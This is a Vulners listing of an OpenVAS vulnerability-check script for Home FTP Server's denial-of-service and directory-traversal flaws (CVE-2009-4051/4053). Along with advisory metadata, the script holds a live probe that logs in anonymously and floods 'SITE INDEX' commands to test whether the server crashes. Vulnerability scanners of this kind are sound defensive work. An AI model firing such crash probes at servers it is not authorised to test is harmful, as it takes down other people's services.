Lucene search
K

Home FTp Server DOS And Multiple Directory Traversal Vulnerabilities

🗓️ 30 Nov 2009 00:00:00Reported by Copyright (C) 2009 SecPodType 
openvas
 openvas
🔗 plugins.openvas.org👁 16 Views

Home FTP Server Vulnerabilitie

Related
Refs
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2009-4051
16 Nov 200900:00
circl
Circl
CVE-2009-4053
17 Nov 200900:00
circl
CVE
CVE-2009-4051
23 Nov 200917:00
cve
CVE
CVE-2009-4053
23 Nov 200917:00
cve
Cvelist
CVE-2009-4051
23 Nov 200917:00
cvelist
Cvelist
CVE-2009-4053
23 Nov 200917:00
cvelist
EUVD
EUVD-2009-4022
7 Oct 202500:30
euvd
NVD
CVE-2009-4051
23 Nov 200917:30
nvd
NVD
CVE-2009-4053
23 Nov 200917:30
nvd
OpenVAS
Home FTP Server 'SITE INDEX' Command Remote Denial of Service Vulnerability
18 Nov 200900:00
openvas
Rows per page
###############################################################################
# OpenVAS Vulnerability Test
# $Id: secpod_home_ftp_server_dir_trav_n_dos_vuln.nasl 5055 2017-01-20 14:08:39Z teissa $
#
# Home FTP Server DOS And Multiple Directory Traversal Vulnerabilities
#
# Authors:
# Maneesh KB <[email protected]>
#
# Copyright:
# Copyright (c) 2009 SecPod, http://www.SecPod.com
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License version 2
# (or any later version), as published by the Free Software Foundation.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
###############################################################################

tag_impact = "Successful exploitation will allow attackers to to cause a Denial of Service
  or directory traversal attacks on the affected application.
  Impact Level: Application";
tag_affected = "Home FTP Server version 1.10.1.139 and prior.";
tag_insight = "- An error in the handling of multiple 'SITE INDEX' commands can be exploited
    to stop the server.
  - An input validation error when handling the MKD FTP command can be exploited
    to create directories outside the FTP root or create files with any contents
    in arbitrary directories via directory traversal sequences in a file upload
    request.";
tag_solution = "Upgrade to Home FTP Server version 1.10.3.144 or later.
  For updates refer to http://downstairs.dnsalias.net/homeftpserver.html";
tag_summary = "The host is running Home Ftp Server and is prone to Denial of Service and
  Directory Traversal Vulnerabilities using invalid commands.";

if(description)
{
  script_id(900260);
  script_version("$Revision: 5055 $");
  script_tag(name:"last_modification", value:"$Date: 2017-01-20 15:08:39 +0100 (Fri, 20 Jan 2017) $");
  script_tag(name:"creation_date", value:"2009-11-30 15:32:46 +0100 (Mon, 30 Nov 2009)");
  script_tag(name:"cvss_base", value:"5.0");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:N/I:N/A:P");
  script_cve_id("CVE-2009-4051", "CVE-2009-4053");
  script_bugtraq_id(37033);
  script_name("Home FTp Server DOS And Multiple Directory Traversal Vulnerabilities");
  script_xref(name : "URL" , value : "http://secunia.com/advisories/37381");
  script_xref(name : "URL" , value : "http://seclists.org/bugtraq/2009/Nov/111");
  script_xref(name : "URL" , value : "http://www.vupen.com/english/advisories/2009/3269");

  script_tag(name:"qod_type", value:"remote_banner");
  script_category(ACT_MIXED_ATTACK);
  script_copyright("Copyright (C) 2009 SecPod");
  script_family("FTP");
  script_dependencies("secpod_home_ftp_server_detect.nasl",
                      "secpod_ftp_anonymous.nasl");
  script_require_ports("Services/ftp", 21);
  script_require_keys("HomeFTPServer/Ver");
  script_tag(name : "impact" , value : tag_impact);
  script_tag(name : "affected" , value : tag_affected);
  script_tag(name : "insight" , value : tag_insight);
  script_tag(name : "solution" , value : tag_solution);
  script_tag(name : "summary" , value : tag_summary);
  exit(0);
}


include("version_func.inc");
include("ftp_func.inc");

hftpPort = get_kb_item("Services/ftp");
if(!hftpPort){
  hftpPort=21;
}

if(!get_port_state(hftpPort)){
  exit(0);
}

if("Home Ftp Server" >!< get_ftp_banner(port:hftpPort)){
  exit(0);
}

if(!safe_checks())
{
  soc1 = open_sock_tcp(hftpPort);
  if(soc1)
  {
    user = get_kb_item("ftp/login");
    if(!user){
      user = "anonymous";
    }
  }
  pass = get_kb_item("ftp/password");
  if(!pass){
    pass = string("anonymous");
  }
  ftplogin = ftp_log_in(socket:soc1, user:user, pass:pass);
  test_string= crap(length:30, data:"a");

  if(ftplogin)
  {
    for( j = 1; j <= 11; j++ )
    {
      send(socket:soc1, data:string("SITE INDEX ", test_string * j ,"\r\n"));
      soc2 = open_sock_tcp(hftpPort);
      resp = ftp_recv_line(socket:soc2);
      if(!resp)
      {
        security_message(hftpPort);
        close(soc2);
        exit(0);
      }
      close(soc2);
    }
  }
  close(soc1);
}

hftpVer = get_kb_item("HomeFTPServer/Ver");
if(!hftpVer){
  exit(0);
}

if(version_is_less_equal(version:hftpVer, test_version:"1.10.1.139")){
  security_message(hftpPort);
}

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

20 Jan 2017 00:00Current
0.6Low risk
Vulners AI Score0.6
EPSS0.0428
16